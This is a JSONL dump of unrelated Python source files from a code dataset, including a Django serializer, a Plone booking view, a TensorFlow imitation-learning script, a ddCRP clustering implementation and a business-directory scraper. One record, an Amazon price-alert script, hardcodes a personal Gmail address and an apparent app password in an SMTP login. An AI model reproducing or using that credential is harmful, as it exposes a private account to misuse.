('id', 'content', 'answerer', 'question_id', 'created_at',)\n read_only_fields = ('id', 'answerer', 'created_at',)\n\n\nclass CreateQuestionSerializer(serializers.ModelSerializer):\n content = serializers.CharField(\n required=True,\n allow_blank=False\n )\n job_id = serializers.PrimaryKeyRelatedField(\n required=True,\n queryset=Job.objects.all(),\n write_only=True\n )\n company_name = serializers.CharField(\n max_length=100,\n write_only=True\n )\n job = JobSerializer(read_only=True)\n company = CompanySerializer(read_only=True)\n answers = QuestionListAnswerSerializer(read_only=True, many=True)\n\n @transaction.atomic\n def create(self, validated_data):\n company_name = validated_data.pop('company_name')\n try:\n company = Company.objects.get(name=company_name)\n except Company.DoesNotExist:\n company = Company.objects.create(\n name=company_name,\n email_domain='thebehind.com'\n )\n jarvis.send_slack(f\"\"\"\n *회사 정보*\n 상황: [구직자 질문] 새로운 회사 등록\n 회사 이름: {company.name}\n 회사 이메일: {company.email_domain}\n 직업 정보: {validated_data['job_id'].title}\n \"\"\")\n job = validated_data['job_id']\n validated_data['job_id'] = job.id\n validated_data['company_id'] = company.id\n validated_data['questioner'] = self.context['request'].user\n new_question = Question.objects.create(**validated_data)\n # Send push notifications to employees who can answer\n employee_ids = UserJobHistory.objects \\\n .filter(company=company, job=job) \\\n .values_list('user_id', flat=True).distinct()\n notifiable_employee_ids = User.objects \\\n .select_related('push_notification_setting') \\\n .filter(id__in=employee_ids, push_notification_setting__asked=True) \\\n .values_list('id', flat=True)\n if not notifiable_employee_ids:\n jarvis.send_slack(f\"\"\"\n 상황: [구직자 질문] 답변해줄 사람 없음\n 회사 이름: {company.name}\n 회사 이메일: {company.email_domain}\n 직업 정보: {job.title}\n \"\"\")\n devices = FCMDevice.objects.filter(\n user_id__in=notifiable_employee_ids,\n active=True\n ).all()\n devices.send_message(\n body=f'구직자님이 {company.name} 관련 상담을 요청하셨어요! 지금 바로 상담하고 따뜻한 커피 한잔 할까요?',\n sound='default',\n data={'question_id': new_question.id}\n )\n return new_question\n\n class Meta:\n model = Question\n fields = ('id', 'content', 'job', 'job_id',\n 'company_name', 'company', 'answers',\n 'created_at',)\n read_only_fields = ('id', 'job', 'company', 'answers', 'created_at',)\n","sub_path":"behind/questions/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":6106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"553027511","text":"# -*- coding: utf-8 -*-\n\"\"\"Module providing views for the folderish content page type\"\"\"\nimport datetime\nimport pytz\nfrom AccessControl import Unauthorized\nfrom Acquisition import aq_inner\nfrom Products.CMFPlone.utils import safe_unicode\nfrom Products.Five.browser import BrowserView\nfrom plone import api\nfrom zope.component import getMultiAdapter\nfrom zope.component import getUtility\n\nfrom lra.sitecontent.mailer import create_plaintext_message\nfrom lra.sitecontent.mailer import prepare_email_message\nfrom lra.sitecontent.mailer import get_mail_template\nfrom lra.sitecontent.mailer import send_mail\n\nfrom lra.sitecontent.interfaces import IResponsiveImagesTool\n\nfrom lra.sitecontent import _\n\n\nclass BookableEventView(BrowserView):\n \"\"\" Bookable event default view \"\"\"\n\n def __call__(self):\n self.errors = {}\n return self.render()\n\n def update(self):\n translation_service = api.portal.get_tool(name=\"translation_service\")\n unwanted = ('_authenticator', 'form.button.Submit')\n required = ('email', 'fullname', 'phone')\n required_boolean = ('privacy-policy-agreement', )\n if 'form.button.Submit' in self.request:\n authenticator = getMultiAdapter((self.context, self.request),\n name=u\"authenticator\")\n if not authenticator.verify():\n raise Unauthorized\n form = self.request.form\n form_data = {}\n form_errors = {}\n error_idx = 0\n if self.privacy_policy_enabled():\n for field_name in required_boolean:\n if not field_name in form:\n form_errors[field_name] = self.required_field_error()\n error_idx += 1\n for value in form:\n if value not in unwanted:\n form_data[value] = safe_unicode(form[value])\n if not form[value] and value in required:\n form_errors[value] = self.required_field_error()\n error_idx += 1\n else:\n error = {\n 'active': False,\n 'msg': form[value]\n }\n form_errors[value] = error\n if error_idx > 0:\n self.errors = form_errors\n else:\n self.send_inquiry(form)\n\n def render(self):\n self.update()\n return self.index()\n\n def is_open_for_registration(self):\n context = aq_inner(self.context)\n start_date = getattr(context, 'start', None)\n if start_date:\n utc = pytz.UTC\n timezone_aware_start = start_date.replace(tzinfo=utc)\n now = utc.localize(datetime.datetime.now())\n if timezone_aware_start > now:\n return True\n return False\n\n def default_value(self, error):\n value = ''\n if error['active'] is False:\n value = error['msg']\n return value\n\n @staticmethod\n def required_field_error():\n translation_service = api.portal.get_tool(name=\"translation_service\")\n error = {}\n error_msg = _(u\"This field is required\")\n error['active'] = True\n error['msg'] = translation_service.translate(\n error_msg,\n 'ade25.contacts',\n target_language=api.portal.get_default_language()\n )\n return error\n\n @staticmethod\n def privacy_policy_enabled():\n try:\n enabled = api.portal.get_registry_record(\n name='ade25.contacts.display_privacy_policy'\n )\n except InvalidParameterError:\n enabled = False\n if enabled:\n return enabled\n return False\n\n @staticmethod\n def privacy_policy_url():\n portal = api.portal.get()\n portal_url = portal.absolute_url()\n policy_url = api.portal.get_registry_record(\n name='ade25.contacts.privacy_policy_url'\n )\n if policy_url:\n url = '{0}{1}'.format(portal_url, policy_url)\n return url\n else:\n url = '{0}/datenschutzbestimmung'.format(portal_url)\n return url\n\n def _compose_message(self, data):\n context = aq_inner(self.context)\n portal = api.portal.get()\n portal_url = portal.absolute_url()\n plone_tool = getMultiAdapter((context, self.request), name=\"plone\")\n event_date = plone_tool.toLocalizedTime(context.start, long_format=True)\n template_vars = {\n 'email': data['email'],\n 'subject': str(data['subject']),\n 'fullname': data['fullname'],\n 'phone': data['phone'],\n 'comment': data['comment'],\n 'url': portal_url,\n 'event': context.Title(),\n 'privacy': 'Ja',\n 'privacy-agreement': data['privacy-policy-agreement'],\n 'date': '{0} Uhr'.format(str(event_date))\n }\n template_name = 'bookable-event-mail.html'\n message = get_mail_template(template_name, template_vars)\n return message\n\n def send_inquiry(self, data):\n context = aq_inner(self.context)\n subject = _(u\"Inquiry from website visitor\") # noqa\n email_subject = api.portal.translate(\n \"Inquiry from website visitor\",\n 'lra.sitecontent',\n api.portal.get_current_language())\n data['subject'] = email_subject\n mail_tpl = self._compose_message(data)\n mail_plain = create_plaintext_message(mail_tpl)\n msg = prepare_email_message(mail_tpl, mail_plain)\n default_email = api.portal.get_registry_record(\n 'plone.email_from_address')\n recipient_email = data['email']\n registration_email = getattr(context, 'contact_email', default_email)\n recipients = [recipient_email, registration_email]\n send_mail(\n msg,\n recipients,\n email_subject\n )\n next_url = '{0}/@@bookable-event-dispatched'.format(\n context.absolute_url()\n )\n return self.request.response.redirect(next_url)\n\n def has_rich_text(self):\n context = aq_inner(self.context)\n try:\n rich_text = context.text\n except AttributeError:\n rich_text = None\n if rich_text is not None:\n return True\n return False\n\n def has_lead_image(self):\n context = aq_inner(self.context)\n try:\n lead_img = context.image\n except AttributeError:\n lead_img = None\n if lead_img is not None:\n return True\n return False\n\n def get_image_data(self, uuid):\n tool = getUtility(IResponsiveImagesTool)\n return tool.create(uuid)\n\n\nclass BookableEventFormDispatchedView(BrowserView):\n \"\"\" Inquiry form dispatched\n\n Show thank you page with feedback on how and when the request\n was processed\n \"\"\"\n\n def processed_timestamp(self):\n datetime_now = datetime.datetime.utcnow()\n now = datetime_now.replace(tzinfo=pytz.utc)\n timestamp_data = {\n 'date': api.portal.get_localized_time(now),\n 'time': api.portal.get_localized_time(now, time_only=True),\n }\n return timestamp_data\n","sub_path":"src/lra.sitecontent/lra/sitecontent/browser/bookableevent.py","file_name":"bookableevent.py","file_ext":"py","file_size_in_byte":7371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"299249977","text":"\nimport numpy as np\n\nclass SurfaceOfActiveEvents:\n def __init__(self, width, height, noiseFilter):\n self.width = width\n self.height = height\n self.k = noiseFilter\n self.tr = np.zeros((width, height), np.int)\n self.tl = np.zeros((width, height), np.int)\n\n def processEvent(self, x, y, t):\n # update tr only if t > tl + k\n # if t > self.tl[x, y]+self.k:\n # self.tr[x, y] = t\n # always update tl\n self.tl[x, y] = t\n self.tr[x, y] = t # IGNORE NOISE FILTER FOR DEBUG\n \n # return the number of locations with events within range more recent than t-dt\n def getLocalDensity(self, x, y, t, r, dt):\n left = x-r if x-r>0 else 0\n top = y-r if y-r>0 else 0\n right = x+r+1 if x+r+1<self.width else self.width-1\n bottom = y+r+1 if y+r+1<self.height else self.height-1\n local = self.tr[left:right, top:bottom]\n return len(local[local>t-dt])\n\n","sub_path":"PyAedatTools/SurfaceOfActiveEvents.py","file_name":"SurfaceOfActiveEvents.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"17039044","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 2 21:49:38 2015\n\n@author: Xavier\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy import stats\n\na,b,c,d = 106.3, 59, 70, 80\np = 4\n\ngamma = np.linspace(0,40*math.pi,1000)\ndgamma = np.ones(1000)\n\n\ndtheta = -(((np.sqrt(d*d+c*c+b*b+2*b*c)-p*gamma/(2*math.pi))*(-p*dgamma/(2*math.pi)))/(a*b))/(np.sqrt(1-((((np.sqrt(d*d+c*c+b*b+2*b*c)-p*gamma/(2*math.pi))**2)-a*a-b*b)/(2*a*b))**2))\n\ntheta = np.arccos((((np.sqrt(d*d+c*c+b*b+2*b*c)-p*gamma/(2*math.pi))**2)-a*a-b*b)/(2*a*b))-np.arctan(d/c)\ntheta = theta*360/(2*math.pi)\n\nslope, intercept, r_value, p_value, std_err = stats.linregress(gamma,theta)\nregress = slope*gamma + intercept\ntitre = str(slope)+\"gamma\"+str(intercept)\n\n\nplt.plot(gamma,theta)\nplt.plot(gamma,regress)\nplt.xlabel(\"$\\\\gamma$\")\nplt.ylabel(\"$\\\\theta$\")\nplt.legend((\"Modèle\",\"Régression linéaire - $0,696 \\gamma + 6,098$\"),'best')\nplt.grid()\n","sub_path":"Doshydro/EtudeDoshydro/images/Python/LoiES.py","file_name":"LoiES.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"572131192","text":"\nimport os\nimport pickle\nimport tensorflow as tf\nimport numpy as np\nimport tf_util\nimport gym\nimport load_policy\nimport tensorflow.contrib.eager as tfe\nfrom sklearn.model_selection import train_test_split\n\n\ntf.enable_eager_execution()\n\nclass StandardPolicyModel(tf.keras.Model):\n def __init__(self, hidden, actions, observations):\n super(StandardPolicyModel, self).__init__()\n self.observations = observations\n self.layer1 = tf.keras.layers.Dense(hidden, input_shape=[None, observations],\n use_bias=False, activation=tf.nn.relu, kernel_initializer=tf.contrib.layers.xavier_initializer())\n \n self.layer2 = tf.keras.layers.Dense(hidden, input_shape=[None, 50],\n use_bias=False, activation=tf.nn.relu, kernel_initializer=tf.contrib.layers.xavier_initializer())\n\n self.outputLayer = tf.keras.layers.Dense(actions, input_shape=[None, 50],\n use_bias=False, activation=None, kernel_initializer=tf.contrib.layers.xavier_initializer())\n\n self.optimizer = tf.train.AdamOptimizer(learning_rate=0.001)\n\n def call(self, indata):\n in_data = tf.reshape(indata, shape=[-1, self.observations])\n mid = self.layer1(in_data)\n mid2 = self.layer2(mid)\n outdata = self.outputLayer(mid2)\n outdataclipped = tf.clip_by_value(outdata, -1, 1)\n return outdataclipped\n\ndef main():\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('envname', type=str)\n parser.add_argument('--render', action='store_true')\n parser.add_argument(\"--max_timesteps\", type=int)\n args = parser.parse_args()\n\n print('creating model')\n hidden=50\n global_step=tf.train.get_or_create_global_step() # return global step var\n\n import gym\n env = gym.make(args.envname)\n num_observations=env.observation_space.shape[0]\n num_actions = env.action_space.shape[0]\n\n #Create model\n checkpoint = tf.train.latest_checkpoint(\"imitation_data\")\n model = StandardPolicyModel(50, num_actions, num_observations)\n init_sample = np.zeros((1, num_observations), dtype=np.float32)\n model(init_sample)\n saver = tfe.Saver(model.variables)\n saver.restore(checkpoint)\n\n max_steps = args.max_timesteps or env.spec.timestep_limit\n\n returns = []\n observations = []\n actions = []\n for i in range(20):\n print('iter', i)\n obs = env.reset().astype(np.float32)\n done = False\n totalr = 0.\n steps = 0\n while not done:\n action = model(obs[None,:])\n observations.append(obs)\n actions.append(action)\n obs, r, done, _ = env.step(action)\n obs = obs.astype(np.float32)\n totalr += r\n steps += 1\n #if args.render:\n \n # env.render()\n if steps % 100 == 0: print(\"%i/%i\"%(steps, max_steps))\n if steps >= max_steps:\n break\n returns.append(totalr)\n\n print('returns', returns)\n print('mean return', np.mean(returns))\n print('std of return', np.std(returns))\n\nif __name__ == '__main__':\n main()\n","sub_path":"hw1/hw1_test.py","file_name":"hw1_test.py","file_ext":"py","file_size_in_byte":3122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"426460279","text":"import requests\nfrom bs4 import BeautifulSoup\nimport smtplib\nURL = 'https://www.amazon.in/Kpop-Merch-S-BE-Delux/dp/B08KD2GXK7/ref=sr_1_11?crid=2W9JYNOHIGLF4&dchild=1&keywords=bts+be+album&qid=1611320759&sprefix=BTS+BE+%2Caps%2C313&sr=8-11'\nheaders = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36\"}\npage = requests.get(URL, headers=headers)\nsoup = BeautifulSoup(page.content, 'html.parser')\ndef check_price():\n title = soup.find(id=\"productTitle\").get_text()\n price = soup.find(id=\"priceblock_ourprice\").get_text()\n print(price)\n price=price.replace(',','.')\n converted_price = float(price[1:5])\n\n print(converted_price)\n if (converted_price > 5):\n send_email()\ndef send_email():\n server=smtplib.SMTP('smtp.gmail.com', 587)\n server.ehlo()\n server.starttls()\n server.ehlo()\n server.login('puneetkaurjattana@gmail.com', 'dlswixueojrofakf')\n subject = \"Price fell down!\"\n body = \"BUY BE ALBUM. CHECK 'https://www.amazon.in/Kpop-Merch-S-BE-Delux/dp/B08KD2GXK7/ref=sr_1_11?crid=2W9JYNOHIGLF4&dchild=1&keywords=bts+be+album&qid=1611320759&sprefix=BTS+BE+%2Caps%2C313&sr=8-11'\"\n msg = f\"Subject:{subject}\\n\\n{body}\"\n server.sendmail(\n 'puneetkaurjattana@gmail.com',\n 'puneet1210.cse18@chitkara.edu.in',\n msg\n )\n print(\"Email Has BEEN SENT\")\n server.quit()\n \nwhile (True):\n check_price()\n time.sleep(60 * 60 * 24)","sub_path":"amazon.py","file_name":"amazon.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"99310469","text":"import sys\nspam = ['apples', 'oranges', 'beer', 'butter']\n\ndef przecinki(wyrazy):\n linia = ' '\n if len(wyrazy) > 1:\n for i in range(len(wyrazy)-1):\n linia += str(wyrazy[i]) + ', '\n linia += 'and ' + str(wyrazy[len(wyrazy)-1])\n return linia\n elif len(wyrazy) == 1:\n linia = wyrazy[0]\n return linia\n elif len(wyrazy) >= 0 :\n print('Blad danych w liscie')\n \n \n\n\nwhile True:\n nowa_lista=[]\n ilosc = 0\n ilosc = input('podaj ilosc wyrazow w nowej liscie lub wpisz cokolwiek innego aby wyjsc\": ')\n try: \n int(ilosc) \n except: \n print('Podaj wlasciwa liczbe!')\n break\n for i in range(int(ilosc)):\n nowa_lista.insert(i, input('Podaj ' + str(int(i)+1) + ' wyraz: '))\n print(przecinki(nowa_lista))\n\n\n\n","sub_path":"comma_code.py","file_name":"comma_code.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"515715148","text":"#a python implementation of ddcrp according to the R version of Blei and Franzier\n#written by placebo\n#I only implement the framework with multinomial features, windows delay and linear distance function. you can implementation your own likelihood ,distance and delay function.\n#have fun with it, more details of the algorithm can be found in Blei and Franzier's paper \"Distance Dependent Chinese Restaurant Processes\"\n\nimport numpy as np\nfrom numpy import seterr, isneginf, array\nfrom scipy.special import gammaln\nfrom scipy.misc import logsumexp\n\ndef dirichlet_likelihood(Xp, hyper):\n if len(Xp.shape) == 2:\n X =sum(Xp)\n else:\n X = Xp\n idx = np.where(X!=0)\n lh = gammaln(len(X)*hyper) + sum(gammaln(X[idx]+hyper))\\\n -len(idx)*gammaln(hyper) - gammaln(sum(X)+len(X) * hyper)\n return lh\n\ndef linear_distance(i,j):\n return i-j\n\ndef window_delay(a,size=1):\n if abs(a) <= size and a >= 0:\n return 1;\n else:\n return 0;\n\n#get the customers linked to customer i\ndef get_linked(i,link):\n c = []\n q = []\n q.append(i)\n while q:\n cur = q[0]\n c.append(cur)\n for k in range(0,len(link)):\n if (link[k] == cur) and (k not in c) and (k not in q):\n q.append(k)\n q = q[1:]\n return c\n\ndef ddcrp_infer(obs,lhood_fn,distance,delay,n_iter,alpha = 0.2):\n n = len(obs)\n cluster = np.array([0]*n)\n link = np.array([0]*n)\n prior = np.random.random(n*n).reshape((n,n))\n #lhood = np.random.random(n)\n merged_lhood = np.random.random(n)\n lhood = list(map(lambda x: lhood_fn(obs[np.where(cluster == x)]) , cluster)) #lhood of each cluster\n\n obs_lhood = 0 #the likelihood of all obs\n\n #prior of each customer\n for i in range(0,n):\n for j in range(0,n):\n try:\n if i==j:\n prior[i][j] = np.log(alpha)\n else:\n seterr(divide='ignore')\n prior[i][j] = np.log(delay(distance(i,j)))\n seterr(divide='warn')\n prior[i][j][isneginf(prior[i][j])] = 0\n except Exception as e:\n # print(e)\n pass\n\n\n for t in range(0,n_iter):\n print(\"iter \"+str(t))\n obs_lhood = 0\n for i in range(0,n):\n #print \"sample\"+str(i)+\"th:\"\n #remove the ith's link\n old_link = link[i]\n old_cluster = cluster[old_link]\n cluster[i] = i\n link[i] = i\n linked = get_linked(i,link)\n # print(linked)\n cluster[linked] = i\n\n if old_cluster not in linked :\n idx = np.where(cluster == old_cluster)\n lhood[old_cluster] = lhood_fn(obs[idx])\n lhood[i] = lhood_fn(obs[linked])\n\n\n #calculate the likelihood of the merged cluster\n for j in np.unique(cluster):\n\n if j == cluster[i] :\n merged_lhood[j] = 2*lhood_fn(obs[linked])\n else:\n merged_lhood[j] = lhood_fn(np.concatenate((obs[linked] , obs[np.where(cluster == j)])))\n\n log_prob = list(map(lambda x: prior[i][x] + merged_lhood[cluster[x]] - lhood[cluster[x]]-lhood[cluster[i]], np.arange(n)))\n prob = np.exp(log_prob - logsumexp(log_prob))\n\n #sample z_i\n link[i] = np.random.choice(np.arange(n),1,p=prob)\n\n #update the likelihood if the link sample merge two cluster\n new_cluster = cluster[link[i]]\n if new_cluster !=i:\n cluster[linked] = new_cluster\n lhood[new_cluster] = merged_lhood[new_cluster]\n\n #cal the likelihood of all obs\n for u in np.unique(cluster):\n obs_lhood = obs_lhood + lhood[u]\n\n print(\"cluster\")\n print(cluster)\n print(\"link\")\n print(link)\n print(obs_lhood)\n\n return cluster,link,obs_lhood\n\n\n\n#a demo\nobs = np.array([[10,0,0,0,0],[10,0,0,0,0],[5,0,0,0,0],[11,0,0,0,1],[0,10,0,0,1],[0,10,0,0,0],[0,0,10,0,0],[0,1,10,0,0],[20,0,2,0,0],[10,0,0,1,0],[10,1,0,10,0],[10,0,2,10,0],[10,0,0,10,0],[10,1,0,1,0],[10,0,0,0,0],])\n\n#initalize parameters\nn_iter =200\nhyper = 0.01\nalpha = 0.2\nwindow_size = 20\n\n#bookkeeper data\n#cluster,link,obs,lhood,\nlhood_fn = lambda x:dirichlet_likelihood(x,hyper)\ndistance = linear_distance\ndelay = lambda x:window_delay(x,window_size)\n\ncluster,link,lhood = ddcrp_infer(obs,lhood_fn,distance,delay,n_iter,alpha)\n","sub_path":"ddcrp.py","file_name":"ddcrp.py","file_ext":"py","file_size_in_byte":4509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"26203085","text":"from fuzzywuzzy import process\nfrom fuzzysearch import find_near_matches\nimport math\nimport pickle\n\nfrom typing import List\n\ndef fuzzy_extract(query_string: str, match_string: str, threshold: int, max_dist: int):\n matches = []\n for word, _ in process.extractBests(query_string, (match_string,), score_cutoff=threshold):\n for match in find_near_matches(query_string, word, max_l_dist=max_dist):\n word = word[match.start:match.end]\n matches.append({\"kw\": query_string, \"word\": word, \"dist\": match.dist})\n return matches\n\ndef get_match_score(text: str, keywords: List[str], threshold: int):\n keywords = [keyword.lower() for keyword in keywords]\n text = text.lower()\n\n candidates = []\n extracted = [fuzzy_extract(query_string, text, 0, 1) for query_string in keywords if len(query_string) > 0]\n for item in extracted:\n for di in item:\n if di[\"dist\"] <= math.ceil(len(di[\"word\"]) / threshold):\n candidates.append(di)\n\n if not candidates:\n return 0\n \n return len(candidates)\n\ndef get_high_score_text(keywords, filename):\n with open(filename, 'rb') as f:\n list_text = pickle.load(f)\n\n count = 0\n scores = [0]*len(list_text)\n max_score = 0\n result = 0\n\n for text in list_text:\n score = get_match_score(text, keywords, 10)\n scores[count] = score\n if score > max_score:\n max_score = score\n result = count\n count += 1\n \n return list_text[result]\n\ndef main():\n print(get_high_score_text(['smile','friend', 'newyear'], 'data/greetings_newyear.pickle'))\n\nif __name__ == \"__main__\":\n main()","sub_path":"src/similarity/similarity.py","file_name":"similarity.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"497670752","text":"'''\nLet d(n) be defined as the sum of proper divisors of n (numbers less than n which divide evenly into n). If d(a) = b and d(b) = a, where a != b, then a and b are an amicable pair and each of a and b are called amicable numbers.\n\nFor example, the proper divisors of 220 are 1, 2, 4, 5, 10, 11, 20, 22, 44, 55 and 110; therefore d(220) = 284. The proper divisors of 284 are 1, 2, 4, 71 and 142; so d(284) = 220.\n\nEvaluate the sum of all the amicable numbers under 10000.\n'''\nimport time\n\ndef divisors_sum(number):\n suma=0\n for m in range(1,number/2+1):\n if not number%m:\n suma+=m\n return suma\n\n\nstart=time.clock()\n\nlista=[]\nfor i in range(10000):\n a=i\n b=divisors_sum(a)\n if a==divisors_sum(b) and a!=b:\n lista.append(a)\n\n \n#print(lista)\nprint(sum(lista))\n\nend=time.clock()\nprint(end-start)\n","sub_path":"problem21.py","file_name":"problem21.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"463751860","text":"import requests\nimport urllib.parse\n\nimport numpy as np\nfrom PIL import Image\nfrom skimage.io._plugins.pil_plugin import pil_to_ndarray\n\n\nclass NonEmptyDirectoryException(ValueError):\n pass\n\n\ndef isnotebook():\n try:\n shell = get_ipython().__class__.__name__\n if shell == 'ZMQInteractiveShell':\n return True # Jupyter notebook or qtconsole\n elif shell == 'TerminalInteractiveShell':\n return False # Terminal running IPython\n else:\n return False # Other type (?)\n except NameError:\n return False\n\n\ndef load_img_from_url(photo_url):\n if not isinstance(photo_url, str):\n raise ValueError(\"Photo_url parameter expected to be string.\")\n\n if photo_url.startswith(\"http://\"):\n photo_url = \"http://\" + urllib.parse.quote(photo_url)[9:]\n elif photo_url.startswith(\"https://\"):\n photo_url = \"https://\" + urllib.parse.quote(photo_url)[10:]\n else:\n raise ValueError(\"Unknown url protocol!\")\n\n response = requests.get(photo_url, stream=True)\n response.raw.decode_content = True\n image = Image.open(response.raw)\n npimage = pil_to_ndarray(image)\n\n return npimage\n\n\ndef greyscale_to_rgb(img):\n w, h = img.shape\n ret = np.empty((w, h, 3), dtype=np.uint8)\n ret[:, :, 0] = img\n ret[:, :, 1] = ret[:, :, 2] = ret[:, :, 0]\n return ret\n","sub_path":"detector_back/worker/detector/detector/train/dataset/tools/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"619048946","text":"import itertools\np = 1\nwhile(p==1):\n l1 = list(map(int,input().split()))\n p = l1[0]\n if p ==0:\n break\n l1.pop(0)\n\n a = list(itertools.combinations(l1,6))\n for i in a:\n for j in i:\n print(j, end =' ')\n print()\n\n print()\n p = 1\n","sub_path":"BoJ/BoJ.6603.py","file_name":"BoJ.6603.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"484325270","text":"import re\nimport json\nimport urllib\nimport httplib\nimport php\n\nclass ML_Rest_Base:\n \"\"\"\n ML_Rest_Base class is used to encapsulate basic querying to the MailerSoft server.\n \"\"\"\n \n def __init__(self, url='', verb=''):\n \"\"\"\n Constructor for the ML_Rest_Base class.\n \n :param api_key: Your API Key for MailerSoft.\n :type api_key: str\n :param url: URL of the MailerSoft API.\n :type url: str\n :param verb: GET/POST/PUT/DELETE\n :type verb: str\n\n \"\"\"\n self._url = 'https://api.mailersoft.com/api/v1/' if url == '' else url\n self._path = ''\n self._set_host()\n self._action = ''\n self._request_body = ''\n self._api_key = ''\n self._response_body = ''\n self._verb = verb\n self._accept_type = 'application/json'\n self._request_length = 0\n self._response_code = 0\n self._response_info = []\n self._connection = None\n \n def flush(self):\n \"\"\"\n Reset query.\n \"\"\"\n self._request_body = ''\n self._request_length = 0\n self._verb = 'GET'\n self._response_body = ''\n self._response_info = ''\n self._response_code = 0\n \n def execute(self, method, data, action=''):\n \"\"\"\n Execute some query to the MailerSoft Server.\n \n :param method: GET/POST/PUT/DELETE\n :type method: str\n :param data: Request information for the request body.\n :type data: dict\n :param action: Where query should be executed.\n :type action: str\n \n :returns: Execution result of the query.\n :rtype: json\n \n \"\"\"\n self._resolve_method(method)\n \n self._build_post_body(data)\n \n if action != '':\n action += '/'\n else:\n action = '/'\n \n self._action = action\n \n self._connection = httplib.HTTPConnection(self._host)\n \n self._set_request_url()\n \n if self._verb == 'GET':\n self._execute_get()\n elif self._verb == 'POST':\n self._execute_post()\n elif self._verb == 'PUT':\n self._execute_put()\n elif self._verb == 'DELETE':\n self._execute_delete()\n \n response = self._connection.getresponse()\n self._response_code = response.status\n self._response_body = response.read()\n result = json.loads(self._response_body)\n \n return result\n\n def _set_host(self):\n \"\"\"\n Set host by the given url. This will be needed to set connection to the server.\n \"\"\"\n url = self._url.replace('https://', '')\n url = url.replace('http://', '')\n parts = re.split('/', url)\n self._host = parts[0]\n \n def _resolve_method(self, method):\n \"\"\"\n Make sure that method is only GET/POST/PUT/DELETE.\n \n :param method: Anything that is of string type.\n :type method: str\n \"\"\"\n method = method.upper()\n if method == 'GET' or method == 'POST' or method == 'PUT' or method == 'DELETE':\n self._verb = method\n else:\n self._verb = 'GET'\n \n def _build_post_body(self, data):\n \"\"\"\n Build request body. Actually, this part is quite complicated, because urllib library is not enough for more complicated data streams to send.\n So, we need to use third-party http_build_query() for Python. Sometimes PHP functions are very valuable. More on that, for older servers it becomes quite important.\n \n :param data: Request information for the request body.\n :type data: dict\n \n \"\"\"\n data['apiKey'] = self._api_key\n self._request_body = php.http_build_query(data)\n \n def _execute_get(self):\n \"\"\"\n Execute GET query.\n \"\"\"\n self._connection.request('GET', self._request_url, self._request_body)\n \n def _execute_post(self):\n \"\"\"\n Execute POST query.\n \"\"\"\n self._data_connection('POST')\n \n def _execute_put(self):\n \"\"\"\n Execute PUT query.\n \"\"\"\n self._data_connection('PUT')\n \n def _execute_delete(self):\n \"\"\"\n Execute DELETE query.\n \"\"\"\n self._connection.request('DELETE', self._request_url, self._request_body)\n\n def _data_connection(self, method):\n \"\"\"\n Set PUT or POST connection.\n \n :param method: PUT/POST\n :type method: str\n \"\"\"\n headers = {'Content-type': 'application/x-www-form-urlencoded', 'Accept': 'text/plain'}\n self._connection.request(method, self._request_url, self._request_body, headers)\n\n def _set_request_url(self):\n \"\"\"\n Set GET or DELETE connection.\n \n :param method: GET/DELETE\n :type method: str\n \"\"\"\n self._request_url = self._path + self._action\n","sub_path":"Python/ML_Rest_Base.py","file_name":"ML_Rest_Base.py","file_ext":"py","file_size_in_byte":4996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"384070071","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\nclass HeroldSpider(scrapy.Spider):\n \n name = \"herold\"\n \n # COPY/PASTE URL(S) you would like to scrape from\n start_urls = ['https://www.herold.at/gelbe-seiten/jBjhC_salzburg/was_hotel/'] \n\n \n def parse(self, response):\n urls = response.css('div.result-item-details > a::attr(href)').extract()\n for url in urls:\n url = response.urljoin(url)\n yield scrapy.Request(url=url, callback=self.parse_details)\n\n next_page_url = response.css('li.page-item.page-item-last > a::attr(href)').extract_first()\n if next_page_url:\n next_page_url = response.urljoin(next_page_url)\n yield scrapy.Request(url=next_page_url, callback=self.parse)\n\n\n def parse_details(self, response):\n \n yield {\n 'Firmenname' : response.xpath('.//span[@itemprop=\"name\"]//text()')[5].extract(),\n 'Adresse' : response.xpath('//*[@id=\"business-card\"]/div[1]/div[2]/p/a/text()').extract_first(),\n 'Email' : response.xpath('.//span[@itemprop=\"email\"]//text()').extract_first(),\n 'Telefon' : response.xpath('.//span[@class=\"tel-number-full\"]//text()').extract_first(),\n 'Website' : response.xpath('.//a[@itemprop=\"sameAs\"]//text()').extract_first(),\n 'Branche' : response.xpath('//*[@id=\"business-card\"]/div[1]/div[2]/div[1]/div//text()').extract_first(),\n 'Branchen-URL': response.css('#breadcrumbs > ol > li:nth-child(2) > a::attr(href)').extract()\n\n 